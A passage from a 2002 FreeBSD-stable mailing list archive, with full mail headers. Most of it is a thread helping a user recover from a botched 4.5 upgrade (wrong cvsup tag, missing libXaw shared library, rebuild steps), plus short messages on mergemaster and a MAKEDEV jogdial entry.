6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 11: 0:19 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mail2.ameuro.de (mail2.ameuro.de [62.208.90.8]) by hub.freebsd.org (Postfix) with ESMTP id D77E237B400 for ; Sun, 21 Apr 2002 11:00:01 -0700 (PDT) Received: from seth.augenstein.net (pD9E4D321.dip.t-dialin.net [217.228.211.33]) (authenticated bits=0) by mail2.ameuro.de (8.12.2/8.12.2) with ESMTP id g3LHxvN9004528; Sun, 21 Apr 2002 19:59:58 +0200 Received: by seth.augenstein.net (Postfix, from userid 666) id 8276213B; Sun, 21 Apr 2002 20:00:39 +0200 (CEST) Date: Sun, 21 Apr 2002 20:00:39 +0200 From: Norbert Augenstein To: "Dennis Pedersen" Cc: freebsd-stable@FreeBSD.ORG Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf Message-Id: <20020421200039.09c3423f.norbert@augenstein.net> In-Reply-To: <01fa01c1e959$a77af960$0301a8c0@dpws> References: <010401c1e93b$d39b30f0$0301a8c0@dpws> <016701c1e945$a23dd120$0301a8c0@dpws> <20020421091928.A15029@troutmask.apl.washington.edu> <01fa01c1e959$a77af960$0301a8c0@dpws> X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; i386-portbld-freebsd4.5) X-Copyright: (c) Norbert Augenstein -> Forwarding NOT permitted without prior permission! Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Dennis, if you put a ports entry to the stable-subfile you have to specify: ports-all tag=. take a look to the sample-cvsup-files auge On Sun, 21 Apr 2002 19:26:20 +0200 "Dennis Pedersen" wrote: > ----- Original Message ----- > From: "Steve Kargl" > To: "Dennis Pedersen" > Cc: > Sent: Sunday, April 21, 2002 6:19 PM > Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting > from rc.conf > > > > On Sun, Apr 21, 2002 at 05:03:02PM +0200, Dennis Pedersen wrote: > > > > > > > Hi, > > > > I have upgraded my box from 4,5-STABLE to 4,5-RELEASE according to > > > > http://www.mostgraveconcern.com/freebsd/ > > > > But after the upgrade my box does not read the setting from rc.conf > > > > (ifconfig shows that the xl0 interface has no IP) > > > > Anyone got a idea about what went wrong here? > > > > > > Darn, it was just tip of the iceberg! > > > It seems there are a problem with /usr/libexec/ld-elf.so.1. > > > The file is there (and there is a file called .old). Can i reinstall > this > > > file/fix it somehow? > > > I would do the hole upgrade process over again but the ld-elf.so.1 error > > > keeps comming up. Any good ideas? > > >You may have more success in getting your > >problems resolved by sending mail to the proper > >mailing list. Try freebsd-stable@FreeBSD.Org. > > Okai ill move it to the stabe list then :) > > > Now, what exactly did you do? > > I updated the system according to the howto > http://www.mostgraveconcern.com/freebsd/mw.html > And used the following sup file: > *default host=mirror03.inet.tele.dk > *default base=/usr > *default prefix=/usr > *default release=cvs > *default tag=RELENG_4_5 > *default delete use-rel-suffix > > src-all > *default tag= > .ports-all > > And here on i must say im lost. There is no way of going back to the stable > branch (cvsup dosnt work anymore ;)) > > > Regards, > Dennis > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 11: 3:28 2002 Delivered-To: freebsd-stable@freebsd.org Received: from troutmask.apl.washington.edu (troutmask.apl.washington.edu [128.208.78.105]) by hub.freebsd.org (Postfix) with ESMTP id 6B07E37B417 for ; Sun, 21 Apr 2002 11:03:12 -0700 (PDT) Received: from troutmask.apl.washington.edu (localhost [127.0.0.1]) by troutmask.apl.washington.edu (8.12.3/8.12.2) with ESMTP id g3LI39qM015607; Sun, 21 Apr 2002 11:03:09 -0700 (PDT) (envelope-from sgk@troutmask.apl.washington.edu) Received: (from sgk@localhost) by troutmask.apl.washington.edu (8.12.3/8.12.3/Submit) id g3LI39OI015606; Sun, 21 Apr 2002 11:03:09 -0700 (PDT) Date: Sun, 21 Apr 2002 11:03:09 -0700 From: Steve Kargl To: Dennis Pedersen Cc: freebsd-stable@FreeBSD.ORG Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf Message-ID: <20020421110309.A15494@troutmask.apl.washington.edu> References: <010401c1e93b$d39b30f0$0301a8c0@dpws> <016701c1e945$a23dd120$0301a8c0@dpws> <20020421091928.A15029@troutmask.apl.washington.edu> <01fa01c1e959$a77af960$0301a8c0@dpws> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <01fa01c1e959$a77af960$0301a8c0@dpws>; from mlists@daydreamer.dk on Sun, Apr 21, 2002 at 07:26:20PM +0200 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Apr 21, 2002 at 07:26:20PM +0200, Dennis Pedersen wrote: >>> I would do the hole upgrade process over again but the ld-elf.so.1 error >>> keeps comming up. Any good ideas? What is the exact error message? > I updated the system according to the howto > http://www.mostgraveconcern.com/freebsd/mw.html > And used the following sup file: > *default host=mirror03.inet.tele.dk > *default base=/usr > *default prefix=/usr > *default release=cvs > *default tag=RELENG_4_5 If you were running a FreeBSD-stable, then the above tag should have been RELENG_4, and indeed the RELENG_4_5 tag pulled the 4.5 release sources (and any critical/security fixes). You probably have regression in one of the shared libraries, and your cvsup is most likely linked against the a newer library version. -- Steve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 11:20: 2 2002 Delivered-To: freebsd-stable@freebsd.org Received: from fe090.worldonline.dk (fe090.worldonline.dk [212.54.64.152]) by hub.freebsd.org (Postfix) with SMTP id 6195037B41B for ; Sun, 21 Apr 2002 11:19:56 -0700 (PDT) Received: (qmail 30331 invoked by uid 0); 21 Apr 2002 18:19:54 -0000 Received: from 213.237.14.128.adsl.ho.worldonline.dk (HELO dpws) (213.237.14.128) by fe090.worldonline.dk with SMTP; 21 Apr 2002 18:19:54 -0000 Message-ID: <022c01c1e961$1aa07f30$0301a8c0@dpws> From: "Dennis Pedersen" To: "Steve Kargl" Cc: References: <010401c1e93b$d39b30f0$0301a8c0@dpws> <016701c1e945$a23dd120$0301a8c0@dpws> <20020421091928.A15029@troutmask.apl.washington.edu> <01fa01c1e959$a77af960$0301a8c0@dpws> <20020421110309.A15494@troutmask.apl.washington.edu> Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf Date: Sun, 21 Apr 2002 20:19:40 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ----- Original Message ----- From: "Steve Kargl" To: "Dennis Pedersen" Cc: Sent: Sunday, April 21, 2002 8:03 PM Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf > On Sun, Apr 21, 2002 at 07:26:20PM +0200, Dennis Pedersen wrote: > >>> I would do the hole upgrade process over again but the ld-elf.so.1 error > >>> keeps comming up. Any good ideas? > > What is the exact error message? /usr/libexec/ld-elt.so.1 : Shared object "libXaw.so.6" not found > > > I updated the system according to the howto > > http://www.mostgraveconcern.com/freebsd/mw.html > > And used the following sup file: > > *default host=mirror03.inet.tele.dk > > *default base=/usr > > *default prefix=/usr > > *default release=cvs > > *default tag=RELENG_4_5 > > If you were running a FreeBSD-stable, then > the above tag should have been RELENG_4, and > indeed the RELENG_4_5 tag pulled the 4.5 release > sources (and any critical/security fixes). You > probably have regression in one of the shared libraries, > and your cvsup is most likely linked against the a newer > library version. Uhm okai , it was just an example i got on a bsd chanel. Is there an "easy" way of getting my BSD back on the right track? (im kind of new in the updating part , i have only done it one time before this tragic one..) Regards, Dennis To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 11:33:33 2002 Delivered-To: freebsd-stable@freebsd.org Received: from troutmask.apl.washington.edu (troutmask.apl.washington.edu [128.208.78.105]) by hub.freebsd.org (Postfix) with ESMTP id F312437B400 for ; Sun, 21 Apr 2002 11:33:27 -0700 (PDT) Received: from troutmask.apl.washington.edu (localhost [127.0.0.1]) by troutmask.apl.washington.edu (8.12.3/8.12.2) with ESMTP id g3LIXPqM015828; Sun, 21 Apr 2002 11:33:25 -0700 (PDT) (envelope-from sgk@troutmask.apl.washington.edu) Received: (from sgk@localhost) by troutmask.apl.washington.edu (8.12.3/8.12.3/Submit) id g3LIXPSK015826; Sun, 21 Apr 2002 11:33:25 -0700 (PDT) Date: Sun, 21 Apr 2002 11:33:25 -0700 From: Steve Kargl To: Dennis Pedersen Cc: freebsd-stable@FreeBSD.ORG Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf Message-ID: <20020421113325.A15744@troutmask.apl.washington.edu> References: <010401c1e93b$d39b30f0$0301a8c0@dpws> <016701c1e945$a23dd120$0301a8c0@dpws> <20020421091928.A15029@troutmask.apl.washington.edu> <01fa01c1e959$a77af960$0301a8c0@dpws> <20020421110309.A15494@troutmask.apl.washington.edu> <022c01c1e961$1aa07f30$0301a8c0@dpws> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <022c01c1e961$1aa07f30$0301a8c0@dpws>; from mlists@daydreamer.dk on Sun, Apr 21, 2002 at 08:19:40PM +0200 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Apr 21, 2002 at 08:19:40PM +0200, Dennis Pedersen wrote: > >> On Sun, Apr 21, 2002 at 07:26:20PM +0200, Dennis Pedersen wrote: >>>>> I would do the hole upgrade process over again but the ld-elf.so.1 >>>>> error keeps comming up. Any good ideas? >> >> What is the exact error message? > > /usr/libexec/ld-elt.so.1 : Shared object "libXaw.so.6" not found Do you have /usr/X11R6/lib/libXaw.so.6? The cvsup binary you have is linked against the libXaw library. Does "ldonfig -r" show an entry for libXaw.so.6? If you have /usr/X11R6/lib/libXaw.so.6, then you'll probably need to run "ldconfig -m /usr/X11R6/lib". -- Steve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 11:57:57 2002 Delivered-To: freebsd-stable@freebsd.org Received: from fe090.worldonline.dk (fe090.worldonline.dk [212.54.64.152]) by hub.freebsd.org (Postfix) with SMTP id 7275337B41B for ; Sun, 21 Apr 2002 11:57:50 -0700 (PDT) Received: (qmail 15404 invoked by uid 0); 21 Apr 2002 18:57:48 -0000 Received: from 213.237.14.128.adsl.ho.worldonline.dk (HELO dpws) (213.237.14.128) by fe090.worldonline.dk with SMTP; 21 Apr 2002 18:57:48 -0000 Message-ID: <024b01c1e966$66638a20$0301a8c0@dpws> From: "Dennis Pedersen" To: "Steve Kargl" Cc: References: <010401c1e93b$d39b30f0$0301a8c0@dpws> <016701c1e945$a23dd120$0301a8c0@dpws> <20020421091928.A15029@troutmask.apl.washington.edu> <01fa01c1e959$a77af960$0301a8c0@dpws> <20020421110309.A15494@troutmask.apl.washington.edu> <022c01c1e961$1aa07f30$0301a8c0@dpws> <20020421113325.A15744@troutmask.apl.washington.edu> Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf Date: Sun, 21 Apr 2002 20:57:33 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ----- Original Message ----- From: "Steve Kargl" To: "Dennis Pedersen" Cc: Sent: Sunday, April 21, 2002 8:33 PM Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf > On Sun, Apr 21, 2002 at 08:19:40PM +0200, Dennis Pedersen wrote: > > > >> On Sun, Apr 21, 2002 at 07:26:20PM +0200, Dennis Pedersen wrote: > >>>>> I would do the hole upgrade process over again but the ld-elf.so.1 > >>>>> error keeps comming up. Any good ideas? > >> > >> What is the exact error message? > > > > /usr/libexec/ld-elt.so.1 : Shared object "libXaw.so.6" not found > > Do you have /usr/X11R6/lib/libXaw.so.6? Yup >The cvsup binary you have is linked against the libXaw library. > Does "ldonfig -r" show an entry for libXaw.so.6? No >If you have /usr/X11R6/lib/libXaw.so.6, > then you'll probably need to run "ldconfig -m /usr/X11R6/lib". After running the cmd above the ldonfig -r shows the entry. What best thing to do now? , migrate back to STABLE (and avoid any other strange problems) or try to fix the current install? (it still wont accept the ifconfig statements in rc.conf) Regards, Dennis To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 12:20:28 2002 Delivered-To: freebsd-stable@freebsd.org Received: from steeltoe.niceboots.com (steeltoe.niceboots.com [208.25.85.157]) by hub.freebsd.org (Postfix) with ESMTP id 3944A37B400 for ; Sun, 21 Apr 2002 12:20:25 -0700 (PDT) Received: (from tenebrae@localhost) by steeltoe.niceboots.com (8.11.6/8.11.3) id g3LJKNl02955; Sun, 21 Apr 2002 12:20:23 -0700 (PDT) (envelope-from tenebrae) Date: Sun, 21 Apr 2002 12:20:23 -0700 From: Tenebrae To: "Philip J. Koenig" Cc: freebsd-stable@freebsd.org Subject: Re: /etc/defaults/rc.conf theory Message-ID: <20020421122023.A2912@steeltoe.niceboots.com> References: <20020420230144663.AAA685@empty1.ekahuna.com@pc02.ekahuna.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020420230144663.AAA685@empty1.ekahuna.com@pc02.ekahuna.com>; from pjklist@ekahuna.com on Sat, Apr 20, 2002 at 04:01:43PM -0700 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, Apr 20, 2002 at 04:01:43PM -0700, Philip J. Koenig wrote: > My .02: > What I think would be a better way of approaching it is to > incorporate some method of informing users during the upgrade > process, probably part of mergemaster, of what has changed in > /etc/defaults. I think Doug's addition of the -c option is a start, > but I don't think it goes far enough, personally. > > What would be really cool is a mechanism in mergemaster that reads > the version info in your current /etc/defaults/rc.conf file (for > those of us that don't update frequently), and then spits out a list > of changes made since that file was last updated. (as Mike Meyer > noted, including changes in syntax which wouldn't be picked-up by a > simple diff) > > A section of mergemaster which prints key "heads up" items pertaining > to the current build would also be extremely helpful. Sometimes we > forget to read UPDATING, (sometimes the important info isn't there), > sometimes we miss some key piece of info amongst all the other stuff > in the file, and sometimes we just need to be reminded to do > something before rebooting and discovering the box broke in some > unexpected way. (An example of a similiar previous improvement in > mergemaster was a year or 2 ago when it incorporated the re-make > aliases and devices feature at the end of the merging process, which > I think was a excellent idea) Erm... Well then, maybe have mergemaster cat /usr/src/UPDATING at the start. Or rename it to README.1ST. I think FreeBSD is great because it doesn't treat us like idiots, but it's so simple to use that even this idiot can install, setup, and maintain it. -Tenebrae. --- The sending of any unsolicited email advertising messages to this domain may result in the imposition of civil liability against you in accordance with Cal. Bus. & Prof. Code Section 17538.45. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 12:43: 4 2002 Delivered-To: freebsd-stable@freebsd.org Received: from troutmask.apl.washington.edu (troutmask.apl.washington.edu [128.208.78.105]) by hub.freebsd.org (Postfix) with ESMTP id 9FDC837B400 for ; Sun, 21 Apr 2002 12:42:59 -0700 (PDT) Received: from troutmask.apl.washington.edu (localhost [127.0.0.1]) by troutmask.apl.washington.edu (8.12.3/8.12.2) with ESMTP id g3LJgoqM016155; Sun, 21 Apr 2002 12:42:50 -0700 (PDT) (envelope-from sgk@troutmask.apl.washington.edu) Received: (from sgk@localhost) by troutmask.apl.washington.edu (8.12.3/8.12.3/Submit) id g3LJgoSt016154; Sun, 21 Apr 2002 12:42:50 -0700 (PDT) Date: Sun, 21 Apr 2002 12:42:50 -0700 From: Steve Kargl To: Dennis Pedersen Cc: freebsd-stable@FreeBSD.ORG Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf Message-ID: <20020421124250.A16130@troutmask.apl.washington.edu> References: <010401c1e93b$d39b30f0$0301a8c0@dpws> <016701c1e945$a23dd120$0301a8c0@dpws> <20020421091928.A15029@troutmask.apl.washington.edu> <01fa01c1e959$a77af960$0301a8c0@dpws> <20020421110309.A15494@troutmask.apl.washington.edu> <022c01c1e961$1aa07f30$0301a8c0@dpws> <20020421113325.A15744@troutmask.apl.washington.edu> <024b01c1e966$66638a20$0301a8c0@dpws> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <024b01c1e966$66638a20$0301a8c0@dpws>; from mlists@daydreamer.dk on Sun, Apr 21, 2002 at 08:57:33PM +0200 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Apr 21, 2002 at 08:57:33PM +0200, Dennis Pedersen wrote: > > > After running the cmd above the ldonfig -r shows the entry. > What best thing to do now? , migrate back to STABLE (and avoid any other > strange problems) or try to fix the current install? (it still wont accept > the ifconfig statements in rc.conf) > cvsup should now work. I would go back to FreeBSD-stable. Do this by changing to tag=RELENG_4. From the above, I take it you have to manually run ifconfig to get your machine on the net. Once connect, get update your tree and do the standard sequence of make buildworld make buildkernel KERNCONF=MYKERNEL make installkernel make installworld mergemaster reboot And, yes I know some people recommend a reboot to single user mode. -- Steve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 12:47:32 2002 Delivered-To: freebsd-stable@freebsd.org Received: from squall.waterspout.com (squall.waterspout.com [208.13.56.12]) by hub.freebsd.org (Postfix) with ESMTP id 8404D37B419; Sun, 21 Apr 2002 12:47:09 -0700 (PDT) Received: by squall.waterspout.com (Postfix, from userid 1050) id 8BA9C9B15; Sun, 21 Apr 2002 14:47:05 -0500 (EST) Date: Sun, 21 Apr 2002 14:47:05 -0500 From: Will Andrews To: Yoshihiko SARUMARU Cc: freebsd-stable@FreeBSD.org, will@FreeBSD.org Subject: Re: Entry for jogdial is missing in MAKEDEV Message-ID: <20020421194705.GJ89460@squall.waterspout.com> References: <020421222553.M0100648@mistral.imasy.or.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <020421222553.M0100648@mistral.imasy.or.jp> User-Agent: Mutt/1.3.26i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Apr 21, 2002 at 10:25:53PM +0900, Yoshihiko SARUMARU wrote: > Recently spic (Programmable I/O Controller) driver was MFC'ed, > but I think /dev/MAKEDEV don't know information for /dev/jogdial > yet. Could you MFC it before 4.6-RELEASE? You are right. I forgot that in -CURRENT make_dev() is used to create the device node. > I'm also waiting for spic(4) will be coming. I have to spent 5 > minutes to learn '-t jogdial' is required for moused :) Yes, it is. > MFC patch from -current src/etc/MAKEDEV: [..snip patch..] The only part I disagree with is putting it in the fixit floppy section. IMHO, fixit floppy does not require jogdial device. To save inodes, we should not create jogdial device. So I will not commit that part. But I am committing the rest of it. Thanks for your submission! Regards, -- wca To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 13:25:44 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mail2.ameuro.de (mail2.ameuro.de [62.208.90.8]) by hub.freebsd.org (Postfix) with ESMTP id 975D537B423 for ; Sun, 21 Apr 2002 13:25:35 -0700 (PDT) Received: from seth.augenstein.net (pD9EB7C29.dip.t-dialin.net [217.235.124.41]) (authenticated bits=0) by mail2.ameuro.de (8.12.2/8.12.2) with ESMTP id g3LKPT08009587; Sun, 21 Apr 2002 22:25:30 +0200 Received: by seth.augenstein.net (Postfix, from userid 666) id DD76B13B; Sun, 21 Apr 2002 22:26:21 +0200 (CEST) Date: Sun, 21 Apr 2002 22:26:21 +0200 From: Norbert Augenstein To: Steve Kargl Cc: mlists@daydreamer.dk, freebsd-stable@FreeBSD.ORG Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf Message-Id: <20020421222621.7f88138f.norbert@augenstein.net> In-Reply-To: <20020421124250.A16130@troutmask.apl.washington.edu> References: <010401c1e93b$d39b30f0$0301a8c0@dpws> <016701c1e945$a23dd120$0301a8c0@dpws> <20020421091928.A15029@troutmask.apl.washington.edu> <01fa01c1e959$a77af960$0301a8c0@dpws> <20020421110309.A15494@troutmask.apl.washington.edu> <022c01c1e961$1aa07f30$0301a8c0@dpws> <20020421113325.A15744@troutmask.apl.washington.edu> <024b01c1e966$66638a20$0301a8c0@dpws> <20020421124250.A16130@troutmask.apl.washington.edu> X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; i386-portbld-freebsd4.5) X-Copyright: (c) Norbert Augenstein -> Forwarding NOT permitted without prior permission! Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 21 Apr 2002 12:42:50 -0700 Steve Kargl wrote: > On Sun, Apr 21, 2002 at 08:57:33PM +0200, Dennis Pedersen wrote: > > > > > > After running the cmd above the ldonfig -r shows the entry. > > What best thing to do now? , migrate back to STABLE (and avoid any other > > strange problems) or try to fix the current install? (it still wont accept > > the ifconfig statements in rc.conf) > > > > cvsup should now work. I would go back to FreeBSD-stable. > Do this by changing to tag=RELENG_4. From the above, I > take it you have to manually run ifconfig to get your > machine on the net. Once connect, get update your tree > and do the standard sequence of > > make buildworld > make buildkernel KERNCONF=MYKERNEL > make installkernel > make installworld > mergemaster > reboot > > And, yes I know some people recommend a reboot to > single user mode. and a reboot after make installkernel to use the new kernel for installworld (installworld could fail if you dont) > > -- > Steve > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 13:32:31 2002 Delivered-To: freebsd-stable@freebsd.org Received: from troutmask.apl.washington.edu (troutmask.apl.washington.edu [128.208.78.105]) by hub.freebsd.org (Postfix) with ESMTP id 3AE5237B417 for ; Sun, 21 Apr 2002 13:32:27 -0700 (PDT) Received: from troutmask.apl.washington.edu (localhost [127.0.0.1]) by troutmask.apl.washington.edu (8.12.3/8.12.2) with ESMTP id g3LKWLqM016380; Sun, 21 Apr 2002 13:32:21 -0700 (PDT) (envelope-from sgk@troutmask.apl.washington.edu) Received: (from sgk@localhost) by troutmask.apl.washington.edu (8.12.3/8.12.3/Submit) id g3LKWLp1016379; Sun, 21 Apr 2002 13:32:21 -0700 (PDT) Date: Sun, 21 Apr 2002 13:32:21 -0700 From: Steve Kargl To: Norbert Augenstein Cc: mlists@daydreamer.dk, freebsd-stable@FreeBSD.ORG Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf Message-ID: <20020421133221.A16365@troutmask.apl.washington.edu> References: <010401c1e93b$d39b30f0$0301a8c0@dpws> <016701c1e945$a23dd120$0301a8c0@dpws> <20020421091928.A15029@troutmask.apl.washington.edu> <01fa01c1e959$a77af960$0301a8c0@dpws> <20020421110309.A15494@troutmask.apl.washington.edu> <022c01c1e961$1aa07f30$0301a8c0@dpws> <20020421113325.A15744@troutmask.apl.washington.edu> <024b01c1e966$66638a20$0301a8c0@dpws> <20020421124250.A16130@troutmask.apl.washington.edu> <20020421222621.7f88138f.norbert@augenstein.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020421222621.7f88138f.norbert@augenstein.net>; from norbert@augenstein.net on Sun, Apr 21, 2002 at 10:26:21PM +0200 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Apr 21, 2002 at 10:26:21PM +0200, Norbert Augenstein wrote: > On Sun, 21 Apr 2002 12:42:50 -0700 > Steve Kargl wrote: > > > make installkernel > > make installworld > > mergemaster > > reboot > > > > And, yes I know some people recommend a reboot to > > single user mode. > > and a reboot after make installkernel to use the new kernel for installworld > (installworld could fail if you dont) > Yes, that is what I meant. But, I've never had a problem, so I seldom recommend the reboot to single user mode. -- Steve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 13:33:10 2002 Delivered-To: freebsd-stable@freebsd.org Received: from fe150.worldonline.dk (fe150.worldonline.dk [212.54.64.184]) by hub.freebsd.org (Postfix) with SMTP id 16A4337B417 for ; Sun, 21 Apr 2002 13:32:42 -0700 (PDT) Received: (qmail 25808 invoked by uid 0); 21 Apr 2002 20:32:40 -0000 Received: from 213.237.14.128.adsl.ho.worldonline.dk (HELO dpws) (213.237.14.128) by www.tiscali.dk with SMTP; 21 Apr 2002 20:32:40 -0000 Message-ID: <027801c1e973$a69184f0$0301a8c0@dpws> From: "Dennis Pedersen" To: "Norbert Augenstein" Cc: References: <010401c1e93b$d39b30f0$0301a8c0@dpws><016701c1e945$a23dd120$0301a8c0@dpws><20020421091928.A15029@troutmask.apl.washington.edu><01fa01c1e959$a77af960$0301a8c0@dpws><20020421110309.A15494@troutmask.apl.washington.edu><022c01c1e961$1aa07f30$0301a8c0@dpws><20020421113325.A15744@troutmask.apl.washington.edu><024b01c1e966$66638a20$0301a8c0@dpws><20020421124250.A16130@troutmask.apl.washington.edu> <20020421222621.7f88138f.norbert@augenstein.net> Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf Date: Sun, 21 Apr 2002 22:32:24 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ----- Original Message ----- From: "Norbert Augenstein" To: "Steve Kargl" Cc: ; Sent: Sunday, April 21, 2002 10:26 PM Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf > On Sun, 21 Apr 2002 12:42:50 -0700 > Steve Kargl wrote: > > > On Sun, Apr 21, 2002 at 08:57:33PM +0200, Dennis Pedersen wrote: > > > > > > > > > After running the cmd above the ldonfig -r shows the entry. > > > What best thing to do now? , migrate back to STABLE (and avoid any other > > > strange problems) or try to fix the current install? (it still wont accept > > > the ifconfig statements in rc.conf) > > > > > > > cvsup should now work. I would go back to FreeBSD-stable. > > Do this by changing to tag=RELENG_4. From the above, I > > take it you have to manually run ifconfig to get your > > machine on the net. Once connect, get update your tree > > and do the standard sequence of > > > > make buildworld > > make buildkernel KERNCONF=MYKERNEL > > make installkernel > > make installworld > > mergemaster > > reboot > > > > And, yes I know some people recommend a reboot to > > single user mode. > > and a reboot after make installkernel to use the new kernel for installworld > (installworld could fail if you dont) Dumping the box into single user wont do the trick? , it has to be a reboot? (Im doing the update part all over again and i want to do it right this time ;)) Regards, Dennis To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 14:30: 4 2002 Delivered-To: freebsd-stable@freebsd.org Received: from 